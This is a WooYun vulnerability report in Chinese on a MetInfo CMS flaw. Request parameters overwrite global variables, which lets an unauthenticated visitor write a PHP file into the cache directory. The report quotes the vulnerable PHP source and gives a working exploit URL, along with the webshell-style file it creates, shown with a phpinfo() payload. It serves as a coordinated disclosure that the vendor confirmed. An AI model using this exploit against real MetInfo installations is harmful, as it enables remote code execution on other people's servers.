当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-094886

漏洞标题:MetInfo 无需登录前台直接GETSHELL

相关厂商:MetInfo

漏洞作者: menmen519

提交时间:2015-02-02 13:12

修复时间:2015-05-03 13:24

公开时间:2015-05-03 13:24

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-02: 细节已通知厂商并且等待厂商处理中
2015-02-02: 厂商已经确认,细节仅向厂商公开
2015-02-05: 细节向第三方安全合作伙伴开放
2015-03-29: 细节向核心白帽子及相关领域专家公开
2015-04-08: 细节向普通白帽子公开
2015-04-18: 细节向实习白帽子公开
2015-05-03: 细节向公众公开

简要描述:

MetInfo 无需登录前台GETSHELL 看着metinfo 注入都两个$$ @疯狗 @Finger来一道闪电吧

详细说明:

metinfo整体做的还算不错,但是一个小疏忽,越权导致大漏洞
代码如下:
admin/include/common.inc.php 由于之前在最外围进行了一次参数解析,所以这里可以通过全量覆盖过来
先不说这里,一会儿用得上,我们看一下
admin/include/lang.php:

if($_GET[langset]!="" and $met_admin_type_ok==1){
$languser = $_GET[langset];
}
$langset=($languser!="")?$languser:$met_admin_type;
if(!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php')){
$js="var user_msg = new Array();\n";
$query="select * from $met_language where lang='$langset' and site='1' and array!='0'";
$result= $db->query($query);

if($db->affected_rows()==0){
require_once ROOTPATH_ADMIN.'system/lang/lang.func.php';
$post=array('newlangmark'=>$langset,'metcms_v'=>$metcms_v,'newlangtype'=>'admin');
$file_basicname=ROOTPATH_ADMIN.'update/lang/lang_'.$langset.'.ini';
$re=syn_lang($post,$file_basicname,$langset,1,0);
$query="select * from $met_language where lang='$langset' and site='1' and array!='0'";
$result= $db->query($query);
}
while($listlang= $db->fetch_array($result)){
if(substr($listlang['name'],0,2)=='js'){
$tmp=trim($listlang['value']);
$js=$js."user_msg['{$listlang['name']}']='$tmp';\n";
}
$name = 'lang_'.$listlang['name'];
$$name= trim($listlang['value']);
$str.='$'."{$name}='".str_replace(array('\\',"'"),array("\\\\","\\'"),trim($listlang['value']))."';";
}
//echo $str;
$js1='$'."js='".str_replace("'","\\'",$js).'\';';
$str="<?php\n".$str.$js1."\n?>";
file_put_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php',$str);
}else{
require_once ROOTPATH.'cache/langadmin_'.$langset.'.php';
}


第一步:
if($_GET[langset]!="" and $met_admin_type_ok==1){
$languser = $_GET[langset];
}
这里我们全量覆盖met_admin_type_ok=1 就可以直接赋值无过滤赋值$languser
怎么能让这一句成立
!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php')
第一我们得定义ROOTPATH
第二我们知道,php一个全版本的小bug
file_put_contents("d:/a.php/../a.php")这种是不会报错的
但是对于langset 他有限制条件,我们怎么逾越这个条件
此时猜想,若果有一个地方也越权,并且include了lang.php
common.inc.php:

if(!is_array($met_langadmin[$_GET[langset]])&&$_GET[langset]!='')die('not have this language');
if($_GET[langset]!=''){
$_GET[langset]=daddslashes($_GET[langset],0,1);
change_met_cookie('languser',$_GET[langset]);
save_met_cookie();
}
$_M['user']['cookie'] = $met_cookie;
$metinfo_admin_name = get_met_cookie('metinfo_admin_name');
$metinfo_admin_pass = get_met_cookie('metinfo_admin_pass');
$metinfo_admin_pop = get_met_cookie('metinfo_admin_pop');
$metinfo_admin_shortcut = get_met_cookie('metinfo_admin_shortcut');
$languser = get_met_cookie('languser');
$langadminok = get_met_cookie('metinfo_admin_lang');
$langusenow=$languser;
if($langadminok<>"" and $langadminok<>'metinfo')$adminlang=explode('-',$langadminok);
require_once ROOTPATH_ADMIN.'include/lang.php';


发现了在此处引入,下来我们看
if(!is_array($met_langadmin[$_GET[langset]])&&$_GET[langset]!='')die('not have this language');
如果met_langadmin参与运算的结果是个数组,这时候langset 就完全可控制
后面走到了
lang.php:
1.!file_get_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php') 此处要是个空文件
2.$query="select * from $met_language where lang='$langset' and site='1' and array!='0'";
$result= $db->query($query);
这个查询为空,langset经过构造后 这个肯定是个空
3.$js1='$'."js='".str_replace("'","\\'",$js).'\';';
$str="<?php\n".$str.$js1."\n?>";
file_put_contents(ROOTPATH.'cache/langadmin_'.$langset.'.php',$str);
发现$str 就可以没有任何给它初始化,直接全局覆盖过来即可
发送url:
http://localhost/metinfo/admin/include/common.inc.php?met_admin_type_ok=1&langset=123&met_langadmin[123][]=12345&str=phpinfo%28%29%3B%3F%3E%2f%2f
直接就会在
cache目录下创建一个文件langadmin_123.php
内容为:
<?php
phpinfo();?>//$js='var user_msg = new Array();
';
?>
访问以下

1.png


漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-02-02 13:22

厂商回复:

是系统漏洞,感谢反馈。

最新状态:

暂无